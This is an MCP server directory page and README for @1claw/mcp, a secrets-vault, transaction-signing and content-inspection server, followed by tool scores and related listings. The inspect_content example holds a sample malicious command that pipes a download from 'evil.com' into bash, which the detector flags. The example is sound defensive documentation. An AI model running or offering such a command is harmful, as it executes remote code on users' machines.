What can you do with this server?

The @1claw/mcp server offers a broad set of capabilities, with some available in local-only mode (no vault credentials required) and others requiring a 1claw account. Security Inspection (inspect_content) (available in local-only mode) Analyze arbitrary text for security threats, returning a detailed report with a verdict (clean or malicious), threat count, and detailed entries. Detections include: * Command injection (shell chains, pipe abuse) * Encoding obfuscation (Unicode homoglyphs, zero-width characters) * Social engineering patterns * PII (emails, SSNs, credit card numbers, AWS keys, private key headers) * Network/exfiltration threats Specify context as "input" or "output" to tailor inspection to untrusted user input or model-generated output. Secure Secret Management Access, create, update, delete, rotate, and list versions of secrets from the 1claw vault — values are never persisted in LLM context. Vault Management Create vaults, list accessible vaults, grant access, and share secrets with users, agents, or via open links. Transaction & Signing Simulate, submit, and sign transactions across EVM, Bitcoin, Solana, XRP, Cardano, and Tron chains. Sign messages and typed data, and provision multi-chain signing keys. Treasury Operations Propose, sign, and list multisig treasury proposals (e.g., Safe signers). Human Approval Workflows Request, list, and check the status of human approvals for sensitive actions or policy changes. Local Daemon Proxy (proxy_request) Make HTTP requests where secrets are injected by the local daemon, so the model never sees raw secret values. Platform Administration List and create platform apps, bootstrap user resources, reissue claim URLs, and rotate API keys.

Which integrations are available for this server?

Allows AI agents to submit, sign, and simulate Bitcoin transactions, including transaction intents and signing. Allows AI agents to submit, sign, and simulate Cardano transactions. Allows AI agents to submit, sign, and simulate Solana transactions. Allows AI agents to submit, sign, and simulate XRP transactions, including 30+ XRPL transaction types.

How do I use @1claw/mcp?

1. Click on "Install Server". 2. Wait a few minutes for the server to deploy. Once ready, it will show a "Started" state. 3. In the chat, type @ followed by the MCP server name and your instructions, e.g., "@@1claw/mcp retrieve secret from vault at path 'myapp/db/password'" That's it! The server will respond to your query, and you can continue using it as needed. Here is a step-by-step guide with screenshots.

@1claw/mcp

Official

by 1clawAI

Overview Schema Related Servers Score Discussions

TypeScript

Hybrid

@1claw/mcp

⭐ Star 1clawAI/agent-templates — ready-to-run agent templates wired to 1Claw. It is our single starred repo.

Connect Cursor, Claude Desktop, VS Code, or any MCP client to your 1claw vault. The server exposes tools for secrets, signing, execution bindings, memory, automations, and more. Values are fetched at call time and are not cached in the model's context beyond the moment they are used.

Most teams use this instead of copying API keys into agent prompts or MCP config files. You register an agent, grant policy access to specific secret paths, and point the client at mcp.1claw.co or a local stdio process. The server handles JWT exchange and refresh from a single ocv_ key.

Local-only mode: Run without vault credentials for the security inspection tools only (e.g. inspect_content). Useful with Ollama or LM Studio when you want injection detection without a 1claw account.

Local daemon mode: Point at the local 1claw daemon (ONECLAW_LOCAL_VAULT=true) so secrets never leave your machine. The daemon injects credentials into outbound HTTP requests; the model never sees the raw value.

API contract: Vault tools use the REST API from @1claw/openapi-spec. LLM traffic through Shroud is separate: agents call https://shroud.1claw.co with X-Shroud-Agent-Key and X-Shroud-Provider (required; e.g. openai). When the MCP server exchanges an agent API key for a JWT, that token may carry shroud_config for Shroud's PolicyEngine; MCP itself does not proxy LLM requests.

Transport Modes

The server supports two transport modes:

Mode	Use case	Auth
stdio (default)	Local — Claude Desktop, Cursor	Env: `ONECLAW_AGENT_API_KEY` (recommended; auto-discovers agent + vault) or `ONECLAW_AGENT_ID` + key; or `ONECLAW_AGENT_TOKEN` + `ONECLAW_VAULT_ID`
httpStream	Hosted at `mcp.1claw.co`	Per-request headers: `Authorization: Bearer <token>`, `X-Vault-ID`

Set MCP_TRANSPORT=httpStream and PORT=8080 to run in hosted mode.

stdio and environment: The server does not cache a single vault client for the whole process. Each tool invocation builds a OneClawClient from the current process.env (ONECLAW_AGENT_API_KEY, ONECLAW_VAULT_ID, etc.), so changing env vars (or vault binding) takes effect on the next call without restarting the MCP process.

Agent environment auto-resolve (v0.52): When an agent is tagged with environment and env_auto_resolve: true, the resolve_env tool can omit environment and the Vault API uses the agent's tag from the JWT. Org setting env.enforce_agent_environment_scope blocks agents from resolving vars outside their tagged environment.

Policy engine v0.53: Access policies support policy_schema_version: 2 with expression-based tx_conditions.expression (mini DSL), expanded control-plane action_kind_in consensus triggers, and multi-chain deep decode (Solana, Bitcoin, Tron) for signing-time policy evaluation. TEE attestation is available at GET https://shroud.1claw.co/v1/shroud/attestation (returns attestation_level: none | identity | confidential | sev_snp plus confidential_claims); audit chain verification at GET /v1/audit/verify.

Graduated HITL (v0.54–0.55): Agent guardrail fields include tx_approval_policy (graduated tx thresholds → 202 awaiting_approval), typed_data_policy, simulation_failure_policy, and raw_signing_policy (deny or route to HITL via approve). Extended v0.55 fields: tx_block_unlimited_approvals, per-recipient limits, USD caps, allow_erc4337, allow_eip7702. Humans approve via dashboard or API; org freeze at POST /v1/org/freeze.

Guardrail governance & Safe (v0.56–0.57): Convention 6 execution shadow/enforce; shadow report, revisions, replay; address screening; guardrail widening approvals (202); agent Safe accounts + module registry MCP tools (list_agent_accounts, migrate_agent_to_safe, get_guardrail_shadow_report, etc.). See package README tool table.

Related MCP server: Janee

Installation (local / stdio)

Homebrew (macOS / Linux)

brew install 1clawAI/tap/1claw-mcp

From source

cd packages/mcp
pnpm install
pnpm run build

Environment Variables

Variable	Required	Default	Description
`ONECLAW_AGENT_API_KEY`	stdio*	—	Recommended. Agent API key (`ocv_...`). Server exchanges it for a JWT, auto-discovers agent ID and vault, and refreshes the token automatically.
`ONECLAW_LOCAL_ONLY`	No	`false`	Set to `true` for security-only mode (no vault credentials needed).
`ONECLAW_LOCAL_VAULT`	No	`false`	Set to `true` to use the local daemon instead of the cloud API.
`ONECLAW_DAEMON_SOCKET`	No	`~/.config/1claw/daemon.sock`	Path to the local daemon Unix socket (local daemon mode only).
`ONECLAW_AGENT_ID`	No	—	Agent UUID. Optional with `ONECLAW_AGENT_API_KEY` (auto-discovered from key).
`ONECLAW_AGENT_TOKEN`	stdio*	—	Legacy. Static Bearer JWT (expires in ~1 h, no auto-refresh).
`ONECLAW_VAULT_ID`	No	—	UUID of the vault. Auto-discovered when using `ONECLAW_AGENT_API_KEY`.
`ONECLAW_DPOP`	No	`false`	Set to `true` to enable DPoP (RFC 9449) proof-of-possession. Binds agent tokens to the MCP client's ephemeral P-256 keypair so stolen tokens are unusable without the matching private key.
`ONECLAW_BASE_URL`	No	`https://api.1claw.co`	Vault API base URL. Intents tools (`simulate_transaction`, `submit_transaction`, etc.) call this host; for TEE signing, point it at Shroud or Intents (e.g. `https://shroud.1claw.co` or `https://intents.1claw.co`) if your deployment routes signing there. Required when the agent has `intents_require_tee` or `execution_require_tee` enabled — those flags reject direct Vault calls (403), so `ONECLAW_BASE_URL` must point to Shroud. Self-hosted: your Vault/Shroud URL.
`MCP_TRANSPORT`	No	`stdio`	Transport mode: `stdio` or `httpStream`.
`PORT`	No	`8080`	HTTP port (httpStream mode only).

* For stdio, set ONECLAW_AGENT_API_KEY (recommended — auto-discovers agent ID and vault, handles token refresh). Alternatively, set ONECLAW_AGENT_TOKEN + ONECLAW_VAULT_ID for static JWT auth. Not needed when ONECLAW_LOCAL_ONLY=true or ONECLAW_LOCAL_VAULT=true.

Tools

The server exposes 138 tools when vault credentials are configured (add proxy_request in local daemon mode). inspect_content also runs in ONECLAW_LOCAL_ONLY=true mode without vault credentials. Also includes the vault://secrets resource.

Tool	Description
`list_secrets`	List all secrets (metadata only — never values)
`get_secret`	Fetch the decrypted value of a secret by path. Accepts optional `client_share` for MPC vaults.
`put_secret`	Create or update a secret (creates a new version). Response includes `client_share` when the vault has MPC enabled.
`delete_secret`	Soft-delete a secret at a path
`describe_secret`	Get metadata without fetching the value
`rotate_and_store`	Store a new value for an existing secret and return the version
`rotate_generate`	Server-side secret rotation with generated value (length, charset configurable)
`list_versions`	List all versions of a secret (version numbers, dates, disabled status)
`get_env_bundle`	Fetch an env_bundle secret and parse it as KEY=VALUE JSON
`resolve_env`	Resolve environment variables for a vault and environment (returns the final KEY=VALUE set with precedence applied). When the agent has `env_auto_resolve: true`, omit `environment` and the server uses the agent's tagged environment from the JWT.
`create_vault`	Create a new vault (auto-shared with the agent's human creator)
`list_vaults`	List all vaults the agent can access (own + shared)
`grant_access`	Share a vault with a user or agent (own vaults only)
`share_secret`	Share a secret with your creator, a user/agent by ID, or create an open link
`simulate_transaction`	Simulate a transaction via Tenderly without signing or broadcasting
`simulate_bundle`	Simulate an ordered sequence of transactions (Tenderly bundle) without signing
`submit_transaction`	Submit a transaction intent to be signed and optionally broadcast (EVM + Bitcoin, Solana, XRP, Cardano, Tron). Auto-generates an `Idempotency-Key` header for replay protection. Supports `xrpl_tx_json` for 30+ XRPL transaction types (Payment, TrustSet, NFTokenMint, AMMCreate, EscrowCreate, etc.).
`sign_transaction`	Sign-only (no broadcast). EVM returns `signed_tx` hex; non-EVM returns chain-specific signed payload. Supports `xrpl_tx_json` for arbitrary XRPL transactions.
`list_transactions`	List transaction intents for the agent.
`get_transaction`	Get one transaction by id (optional `include_signed_tx`).
`provision_signing_key`	Generate a multi-chain signing key for an agent. Returns public key, address, and metadata. Private key stored securely in vault.
`list_signing_keys`	List all signing keys for an agent across all chains.
`get_signing_key_balance`	Get native and optional token balances for an agent signing key on a chain.
`import_signing_key`	Import an existing private key as a signing key (human-only, step-up auth).
`sign_message`	Sign a message using EIP-191 personal_sign. Returns signature and signer address.
`sign_typed_data`	Sign EIP-712 typed structured data. Returns signature, typed data hash, and signer address.
`sign_digest`	Sign a client-computed 32-byte digest directly (raw/blind signing) for ERC-1271/ERC-7739 nested EIP-712 flows (e.g. Polymarket). Requires `raw_signing_enabled`; audit-logged.
`platform_list_apps`	List all platform apps in the caller's org.
`platform_create_app`	Register a new platform app (returns `plt_` API key). User-only.
`platform_bootstrap_user`	Bootstrap resources (vault, agent, policies) for a connected user from a template.
`platform_reissue_claim`	Reissue a claim URL for an already-bootstrapped connection without re-provisioning resources.
`platform_rotate_key`	Rotate the API key for a platform app. Returns the new `plt_` key (one-time).
`platform_list_templates`	List bootstrap templates for a platform app.
`platform_create_template`	Create a bootstrap template (vault, agents, policies, signing keys).
`platform_list_users`	List connected users for a platform app (status, resources, claim state).
`platform_grant_access`	Grant a platform app access to vaults/agents for a connected user.
`platform_list_grants`	List active resource grants for a platform connection.
`platform_siwe_challenge`	Issue a SIWE nonce for wallet-native platform user provisioning (`plt_`).
`platform_get_connection`	Get connection detail: status, claim state, entitlements, wallet address.
`platform_connection_usage`	Per-connection LLM inference spend for the current UTC month.
`platform_list_entitlements`	List on-chain entitlement evaluations for a connection.
`platform_preview_template`	Dry-run template spec with `{{params.}}` / `{{subject.}}` substitution.
`platform_transfer_ownership`	Transfer a platform app to another org (step-up auth).
`platform_delete_app`	Soft-delete a platform app and release its slug.
`platform_get_spend_policy`	Get a platform app spend policy by ID.
`platform_get_connection_spend_policy`	Get effective spend policy for a connection.
`platform_list_connection_approvals`	List human approvals for a platform connection.
`platform_get_connection_approval`	Get one approval for a platform connection.
`platform_list_connection_pending_approvals`	List pending approvals for a connection (includes payload hash).
`platform_get_template`	Get a bootstrap template by ID.
`platform_set_connection_spend_policy`	Set or replace spend policy for a connection (plt_ auth).
`platform_create_connection_runtime`	Create a Cloud Runtime for a connection agent.
`platform_get_connection_runtime`	Get a connection-scoped runtime by ID.
`platform_connection_passkey_enroll_begin`	Begin WebAuthn passkey enrollment for a connected user.
`platform_connection_passkey_enroll_complete`	Complete passkey enrollment for a connected end-user (plt_ auth).
`platform_connection_agent_chat`	Chat with an agent on a platform connection.
`platform_list_connection_signing_keys`	List agent signing keys on a connection (public metadata only; optional `agent_id`).
`platform_get_connection_signing_key`	Get signing key for one chain on a connection agent.
`platform_patch_connection_agent`	Enable Intents/Execution Intents or update `system_prompt` on a connection agent.
`platform_decide_connection_pending_approval`	Vote on a consensus pending approval (payload_hash required).
`platform_decide_connection_approval`	Decide a mobile approval for a connection user.
`platform_deactivate_connection_signing_key`	Deactivate a signing key for a connection agent.
`platform_marketplace`	List apps on the public platform marketplace. Browse by category, tags, or search query. No auth required.
`platform_app_stats`	Get usage statistics for a platform app — connected users, bootstraps, API request volume.
`platform_rotate_webhook_secret`	Rotate the webhook secret for a platform app. New secret used for HMAC-SHA256 signatures on deliveries.
`oauth_revoke_token`	Revoke an OAuth access or refresh token issued by 1Claw (RFC 7009).
`oauth_revoke_consent`	Revoke OAuth consent previously granted to a platform app, invalidating all its tokens.
`treasury_propose`	Create a treasury multisig proposal (transaction intent for Safe signers to approve).
`treasury_sign_proposal`	Sign or reject a treasury proposal. Submits an EIP-712 signature; auto-executes if threshold is met.
`treasury_list_proposals`	List proposals for a treasury, optionally filtered by status (pending, approved, executed, rejected, expired).
`request_approval`	Request human approval for a policy change or sensitive action. Creates a pending approval for the agent's human operator.
`list_approvals`	List approval requests, optionally filtered by status (pending, approved, denied).
`get_approval`	Get the current status of a specific approval request. Useful for agents polling while waiting on approval.
`get_approval_status`	Lightweight approval poll for agents (status + `expires_at` only).
`lease_bankr_key`	Privileged — policy-gated on `agents/{id}/bankr/`. Provisions scoped `bk_usr_` key (stored for Shroud; not returned* in tool output). Recommend TTL 300–900 s. Requires `BANKR_PARTNER_KEY` on Vault.
`execute_http`	Execute an HTTP request through a pre-configured binding. Credentials are injected server-side and never exposed to the agent. Requires `execution_intents_enabled` on the agent.
`execute_intent`	Execute a generic intent (HTTP, GraphQL, etc.) through a named binding.
`create_binding`	Create a binding (credential handle) for an agent. Supports inline credentials or `vault_ref` (live pointer to an existing vault secret, resolved at execution time). Human-only.
`list_bindings`	List all bindings configured for the agent. Returns binding names, types, and configuration (no credentials).
`test_binding`	Test connectivity of a binding.
`list_executions`	List recent execution events for an agent.
`order_card`	Order a prepaid card via x402. Requires `cards_enabled` on the agent and a funded USDC signing key on Base. Returns a masked card reference (never PAN).
`order_gift_card`	Order a gift card via x402. Accepts optional `laso_server_id` for brand selection.
`search_gift_cards`	Search available gift-card brands/servers (by query or country).
`list_cards`	List all payment cards for the agent (masked — last4 only).
`get_card_status`	Get the current status and metadata of a card by ID.
`put_memory`	Store a value in agent memory (namespace/key). Supports TTL for scratch entries.
`get_memory`	Read a value from agent memory by namespace and key.
`list_memory`	List memory namespaces or entries within a namespace.
`delete_memory`	Delete a memory entry by namespace and key.
`search_memory`	Search agent memory using semantic similarity (vector search).
`list_automations`	List automation workflows for the agent.
`list_automation_presets`	List available automation presets with pre-built workflow templates.
`trigger_automation`	Manually trigger an automation workflow.
`create_agent_automation`	Create a simple automation for the calling agent (manual or webhook).
`cancel_automation_run`	Cancel a running or `awaiting_approval` automation run.
`list_runtimes`	List cloud runtimes for the agent.
`manage_runtime`	Start or stop a cloud runtime.
`runtime_status`	Get the current status and resource usage of a runtime.
`runtime_logs`	Get recent logs from a runtime container.
`send_chat_message`	Send a chat message to an agent via Shroud LLM (optional conversation id).
`list_chat_conversations`	List chat conversations for an agent.
`create_channel`	Register a Telegram, WhatsApp, or Discord channel for an agent.
`list_channels`	List messaging channels for an agent.
`send_channel_message`	Send an outbound message via a registered channel.
`list_oauth_providers`	List available OAuth providers (Google, GitHub, Slack, etc.).
`list_oauth_connections`	List OAuth connected accounts for an agent.
`org_directory`	List org agents for sub-agent discovery (capabilities, tags).
`delegate_task`	Send a task to another agent via chat (same-org delegation).
`search_agent_directory`	Search the public agent directory for discoverable agents.
`list_delegations`	List agent-to-agent delegations for the current agent or a specified agent.
`create_delegation`	Create a delegation from one agent to another (human-only). Configures allowed tools, daily limits, depth, and mode.
`get_effective_delegations`	Get the effective delegations for the current agent — used by runtime tools for sub-agent discovery.
`list_cedar_policies`	List Cedar declarative policies for the org (Team+ tier).
`test_cedar_policy`	Dry-run a Cedar policy against a principal/action/resource.
`list_opa_policies`	List OPA Rego policies for the org (Business+ tier).
`test_opa_policy`	Dry-run an OPA policy evaluation.
`list_sub_orgs`	List sub-organizations for the parent org (Enterprise hierarchy).
`create_sub_org`	Create a sub-organization (human-only).
`get_portfolio`	Unified balance aggregator across treasury wallets, signing keys, and smart accounts.
`import_smart_account`	Import an existing Gnosis Safe smart account for an agent.
`get_policy_backend_settings`	Get org Cedar/OPA backend config (backend, mode, scope, circuit breaker).
`update_policy_backend_settings`	Update org policy backend settings (shadow/enforce, fail-closed breaker).
`get_shadow_report`	Get shadow mode divergence report (builtin vs Cedar/OPA decisions).
`list_contract_abis`	List org contract ABIs for transaction decoding.
`upload_contract_abi`	Upload a contract ABI to the org registry (enables decoded tx policy evaluation).
`list_pending_approvals`	List consensus pending approvals for the org.
`approve_pending_approval`	Approve or reject a pending approval (supports `credential_type`: passkey, totp, biometric, password, api_key).
`execute_pending_approval`	Execute an approved pending approval action.
`list_agent_accounts`	List agent on-chain accounts (EOA and Safe) per chain with deploy status and modules.
`migrate_agent_to_safe`	Build EOA→Safe migration plan and provision counterfactual Safe (human-only).
`deprecate_agent_eoa`	Mark agent EOA deprecated for a chain (human-only).
`get_safe_module_registry`	List pinned Safe module addresses for a chain (public, no auth).
`sync_org_safe_allowances`	Reconcile org Safe allowance configs against agent guardrails (owner/admin).
`get_guardrail_shadow_report`	Convention 6 guardrail shadow violations (`guardrail_shadow.would_deny` audit events).
`list_guardrail_revisions`	Audit trail of agent and binding guardrail changes.
`replay_agent_guardrails`	Dry-run draft guardrails against an agent's recent transactions.
`inspect_content`	Analyze arbitrary text for prompt injection, command injection, social engineering, PII, encoding tricks, and more. Works without vault credentials.
`proxy_request`	Local daemon mode only. Make an HTTP request with a secret injected by the daemon. The model specifies the secret name and target URL — the secret value never enters the context window.

Binding credential sources: The create_binding tool accepts an optional credential_source parameter with two modes:
{ "type": "inline", "value": { "token": "..." } } — the credential is stored in __agent-keys (default behavior, same as using credential).
{ "type": "vault_ref", "vault_id": "<uuid>", "path": "secrets/api-key" } — a live pointer to an existing vault secret. The credential is resolved at execution time and always uses the latest version. Useful for secrets that rotate independently or are shared across bindings.

Treasury wallets (POST /v1/treasury/wallets/generate, GET .../wallets, etc.) are human-only endpoints and are not exposed as MCP tools. Agents cannot generate or manage treasury wallets. Human users manage treasury wallets via the dashboard, CLI (1claw treasury), or SDK (client.treasuryWallets).

Resources

URI	Description
`vault://secrets`	Browsable listing of all secret paths (metadata only)

Configuration

Hosted (mcp.1claw.co)

For MCP clients that support remote servers with HTTP streaming. Pass your agent API key as a Bearer token — the server exchanges it for a JWT, auto-discovers the agent ID and vault, and handles refresh.

{
    "mcpServers": {
        "1claw": {
            "url": "https://mcp.1claw.co/mcp",
            "headers": {
                "Authorization": "Bearer ocv_your_agent_api_key"
            }
        }
    }
}

The server accepts ocv_ API keys directly as Bearer tokens — no manual JWT exchange needed. Vault is auto-discovered from the token response.

Claude Desktop (local stdio)

Add to ~/Library/Application Support/Claude/claude_desktop_config.json. Only ONECLAW_AGENT_API_KEY is needed — the server auto-discovers the agent ID and vault, and handles JWT refresh.

{
    "mcpServers": {
        "1claw": {
            "command": "npx",
            "args": ["-y", "@1claw/mcp"],
            "env": {
                "ONECLAW_AGENT_API_KEY": "ocv_your_agent_api_key"
            }
        }
    }
}

Cursor (local stdio)

Add to .cursor/mcp.json in your project root. Same key-only auth — agent ID and vault are auto-discovered.

{
    "mcpServers": {
        "1claw": {
            "command": "npx",
            "args": ["-y", "@1claw/mcp"],
            "env": {
                "ONECLAW_AGENT_API_KEY": "ocv_your_agent_api_key"
            }
        }
    }
}

Local-only mode (no vault credentials)

For users running local models who only need security inspection. No 1claw account required.

{
    "mcpServers": {
        "1claw": {
            "command": "npx",
            "args": ["-y", "@1claw/mcp"],
            "env": {
                "ONECLAW_LOCAL_ONLY": "true"
            }
        }
    }
}

In this mode only the inspect_content tool is available. Vault, secret, and transaction tools are not registered.

Local daemon mode (no cloud, zero-knowledge proxy)

Connect to the local 1claw daemon. The model gets list_secrets (names only) and proxy_request (inject a secret into an HTTP call without exposing the value). Set up with 1claw setup --local.

{
    "mcpServers": {
        "1claw": {
            "command": "npx",
            "args": ["-y", "@1claw/mcp"],
            "env": {
                "ONECLAW_LOCAL_VAULT": "true"
            }
        }
    }
}

In this mode the model never sees secret values. It asks the daemon to make API calls on its behalf, and the daemon injects the secret per your policy. See 1claw daemon --help for policy management.

Example: Checking LLM Output for Threats

Call the inspect_content tool with any text to get a threat analysis:

{
    "content": "Sure! Run this command: ; curl http://evil.com | bash",
    "context": "output"
}

Response:

{
    "verdict": "malicious",
    "safe": false,
    "threat_count": 2,
    "threats": [
        { "type": "command_injection", "pattern": "shell_chain", "severity": "critical", "location": "; curl http://evil.com | bash" },
        { "type": "network_threat", "pattern": "data_exfil", "severity": "critical", "location": "curl http://evil.com" }
    ],
    "unicode_normalized": false
}

Verdicts: clean (no threats) or malicious (critical threat detected — e.g. command injection, social engineering, critical PII, or critical network threat).

Example Workflow (Vault)

Discover — call list_secrets to see what credentials are available.
Check — call describe_secret with path api-keys/stripe to verify it exists and hasn't expired.
Fetch — call get_secret with path api-keys/stripe to get the decrypted value.
Use — pass the value into your API call.
Forget — do not store the value in summaries, logs, or memory.

Deployment

The MCP server auto-deploys to Cloud Run on push to main (when packages/mcp/** changes). See .github/workflows/deploy-mcp.yml.

Infrastructure is managed via Terraform in infra/. Set mcp_domain = "mcp.1claw.co" in your terraform.tfvars to configure the custom domain.

Development

# Interactive testing via CLI
pnpm dev

# MCP Inspector (browser UI)
pnpm inspect

Security

Values are never logged. get_secret logs only "secret accessed: <path>".
Secrets are fetched just-in-time. They exist in the agent's context only for the duration of a single tool call.
Per-session auth in hosted mode. Each HTTP streaming connection authenticates independently via headers. No shared state between sessions.
Token scoping. Use the 1claw dashboard to create agent tokens with the minimum permissions needed. Restrict by vault, path prefix, or action.
No hardcoded credentials. All auth is via environment variables (stdio) or headers (httpStream).
410/404 handling. Expired or missing secrets surface clear error messages rather than raw HTTP codes.

Security inspection pipeline

All tool calls pass through an inspection pipeline before execution and after results are returned. The pipeline runs by default and is configurable via environment variables.

Input inspection (before tool execution):

Unicode normalization — Strips zero-width characters, replaces Cyrillic/Greek homoglyphs.
Threat detection — Command injection, encoding obfuscation, social engineering, network threats.
PII detection — Emails, SSNs, credit card numbers, phone numbers, AWS keys, private key headers.
Exfiltration protection — Blocks or warns when a previously fetched secret value appears in a non-secret tool's input (e.g., an agent trying to send a secret to an external URL).

Output inspection (after tool execution):

Threat detection — Same patterns as input.
PII detection — Same patterns as input.
Secret redaction — Tracks every secret value fetched via get_secret or get_env_bundle. If a known secret appears in the output of a non-secret tool (e.g., list_vaults, grant_access), the value is replaced with an opaque token like [REDACTED:#a1b2c3d4] (SHA-256 prefix, no path disclosure) before it reaches the LLM context window.

Security environment variables

Variable	Default	Description
`ONECLAW_MCP_SECURITY_ENABLED`	`true`	Master switch. Set to `false` to disable all inspection.
`ONECLAW_MCP_SANITIZATION_MODE`	`block`	`block` rejects critical/high threats; `surgical` normalizes Unicode but allows; `log_only` only logs.
`ONECLAW_MCP_REDACT_SECRETS`	`true`	Redact known secret values from non-secret tool outputs. Requires security enabled.
`ONECLAW_MCP_PII_DETECTION`	`true`	Detect PII patterns (emails, SSNs, credit cards, etc.) in inputs and outputs.
`ONECLAW_MCP_EXFIL_PROTECTION`	`block`	`block` rejects tool inputs containing known secrets; `warn` logs but allows; `off` disables.

Shroud advanced security

When an agent has shroud_enabled: true, its JWT carries a shroud_config payload that configures Shroud's server-side PolicyEngine. These features run inside the TEE on LLM traffic routed through shroud.1claw.co and are independent of the MCP inspection pipeline above:

Tool call inspection — Validates tool calls emitted by the LLM against allowed/denied patterns.
Output policies — Enforces response-level rules (e.g. block certain content categories, length limits).
Secret injection detection — Detects when an LLM attempts to inject or exfiltrate secret values in its responses.
Semantic policy — Context-aware policy rules evaluated against the full conversation (beyond regex patterns).
Advanced redaction — Server-side secret redaction with configurable scope and granularity.

Configure these via the agent's shroud_config JSON in the dashboard, SDK (CreateAgentRequest.shroud_config), or CLI (agent update). See the Shroud documentation for the full shroud_config schema.

MCP Registry

This package is registered as io.github.1clawAI/1claw-mcp on the MCP Registry. Publishing uses the "Publish to MCP Registry" workflow on 1clawAI/1claw-mcp (GitHub OIDC).

npm: @1claw/mcp v0.59.2 — MCP Registry: io.github.1clawAI/1claw-mcp @ 0.59.2

Available Tools

1 tool

inspect_contentA

Inspect text content for security threats including command injection, encoding obfuscation, social engineering, and PII. Returns a JSON threat report (safe, verdict, threat_count, threats). Use before processing untrusted input.

ParametersJSON Schema

Name	Required	Description	Default
`content`	Yes	The text content to inspect for threats
`context`	No	Whether this is model input or output (affects inspection context)

TDQS

A4.2/5.0

Behavior4/5

Does the description disclose side effects, auth requirements, rate limits, or destructive behavior?

With no annotations provided, the description carries full burden. It discloses that the tool returns a JSON threat report with fields (safe, verdict, threat_count, threats) and the inspection scope. It does not mention side effects, but as a non-destructive inspection, this is adequate.

Agents need to know what a tool does to the world before calling it. Descriptions should go beyond structured annotations to explain consequences.

Conciseness5/5

Is the description appropriately sized, front-loaded, and free of redundancy?

The description is two sentences: the first defines purpose and scope, the second covers output structure and usage. Every sentence is informative, with no wasted words or redundancy.

Shorter descriptions cost fewer tokens and are easier for agents to parse. Every sentence should earn its place.

Completeness4/5

Given the tool's complexity, does the description cover enough for an agent to succeed on first attempt?

Given no output schema, no annotations, and only 2 parameters, the description provides sufficient context: purpose, return format, and usage guidance. It could elaborate on specific threat indicators but is adequate for an agent to use correctly.

Complex tools with many parameters or behaviors need more documentation. Simple tools need less. This dimension scales expectations accordingly.

Parameters3/5

Does the description clarify parameter syntax, constraints, interactions, or defaults beyond what the schema provides?

Schema description coverage is 100%, so the schema documents both parameters. The description adds no additional parameter-specific meaning beyond the schema; it only lists general threat types. Baseline 3 is appropriate.

Input schemas describe structure but not intent. Descriptions should explain non-obvious parameter relationships and valid value ranges.

Purpose5/5

Does the description clearly state what the tool does and how it differs from similar tools?

The description uses a specific verb ('Inspect') and resource ('text content'), lists concrete threat types (command injection, encoding obfuscation, social engineering, PII), and clearly defines the tool's security inspection purpose. There are no sibling tools to differentiate against.

Agents choose between tools based on descriptions. A clear purpose with a specific verb and resource helps agents select the right tool.

Usage Guidelines4/5

Does the description explain when to use this tool, when not to, or what alternatives exist?

The description explicitly states 'Use before processing untrusted input', providing clear when-to-use guidance. Although it does not explicitly mention when not to use, the context is sufficient given no sibling tools for comparison.

Agents often have multiple tools that could apply. Explicit usage guidance like "use X instead of Y when Z" prevents misuse.

Tool Schema Changelog

Recent tool additions, removals, and schema changes observed during successful MCP inspections. Dates show when Glama detected each change.

1 tool updatev0.34.5Jun 30, 2026
- First observedinspect_content

Install Server

RayrunBuild, deploy, and operate MCP servers without becoming an infrastructure team.ray.runAd

TDQS

A4.1/5.0

Disambiguation5/5

With only one tool, there is no possibility of confusion between tools. The tool's purpose is clear and distinct, leaving no ambiguity.

Naming Consistency5/5

A single tool name 'inspect_content' follows a clear verb_noun pattern, and with no other tools to compare against, consistency is irrelevant.

Tool Count3/5

One tool is borderline for a server claiming to handle multiple threat detection types. While the tool is not trivial, the scope feels thin for the described purpose.

Completeness2/5

The server only offers inspection capabilities. Missing tools for remediation, sanitization, or further analysis create significant gaps for a security workflow.

Maintenance

ActivityActive

ResponsivenessNo issues

Resources

Need Help?

Related Servers

Unclaimed servers have limited discoverability.

Looking for Admin?

If you are the server author, to access and configure the admin panel.

Related MCP Connectors

IdentArk Gateway
io.identark
Zero-secret MCP gateway for AI agents: risk-scored, audited calls with human-in-the-loop approval.
Security Agent Orchestration
29
secureflows-mcp A
io.github.michal-lefler
MCP server for secureFlows: token-free URL builders and integration-linting tools for AI agents.
Code Analysis Developer Tools Security
181
microservices.sh
sh.microservices
MCP server for AI agents to plan, verify, and deploy Cloudflare-native apps.
Cloud Platforms Agent Orchestration Developer Tools
21
ClawLinkOAuth
dev.claw-link
MCP server connecting AI agents to 100+ apps (Gmail, Slack, Notion, GitHub) via one-click OAuth.
App Automation Workplace & Productivity
24

Related MCP Servers

Agentic Vault
Security Shell Access
AliProgrammin
A
license
Not graded
quality
C
maintenance
MCP server that lets AI agents call APIs without ever seeing the credentials, using a local encrypted vault and per-secret allowlist policies for HTTP requests and subprocess environment variables.
Updated 4 months ago (2026-04-26 15:14 UTC)
1
AGPL 3.0
Janee
Security Autonomous Agents
rsdouglas
A
license
Not graded
quality
C
maintenance
Secrets management MCP server that injects credentials into API requests for AI agents, enforcing policies and logging all activity without exposing raw keys.
Updated 6 months ago (2026-03-17 13:00 UTC)
197
30
MIT
@lobsterkit/vault-mcpofficial
Security Developer Tools
lobster-kit
A
license
A
quality
C
maintenance
MCP server for LobsterVault, enabling AI agents to securely store, retrieve, manage, and share encrypted secrets with KMS envelope encryption, including environment variable injection.
Updated 5 months ago (2026-03-24 13:34 UTC)
11
14
MIT
safe-key-mcp
Security Shell Access Command Line
Yormede
A
license
Not graded
quality
C
maintenance
MCP server enabling AI agents to use secrets (API keys, tokens) via encrypted vault, executing HTTP/shell/SSH actions server-side while never exposing secret values to the AI.
Updated 2 months ago (2026-07-13 14:15 UTC)
MIT

Latest Blog Posts

Who's Calling? MCP Hosts Are an Identity Blind Spot (And the Spec Knows It)
By Om-Shree-0709 on July 25, 2026.
mcp
Agent Identity
OAuth 2.1
Your AI Chatbot Just Exposed Your CEO's Salary to an Intern
By Om-Shree-0709 on July 2, 2026.
Agent Identity
MCP Security
OAuth Delegation
Why MCP Servers Need Execution Sandboxing (And Why Your Current Stack Isn't Enough)
By Om-Shree-0709 on June 30, 2026.
Agentic Ai
Prompt Injection
WebAssembly

MCP directory API

We provide all the information about MCP servers via our MCP API.

curl -X GET 'https://glama.ai/api/mcp/v1/servers/1clawAI/1claw-mcp'

If you have feedback or need assistance with the MCP directory API, please join our Discord server

@1claw/mcp

Transport Modes

Installation (local / stdio)

Homebrew (macOS / Linux)

From source

Environment Variables

Tools

Resources

Configuration

Hosted (mcp.1claw.co)

Claude Desktop (local stdio)

Cursor (local stdio)

Local-only mode (no vault credentials)

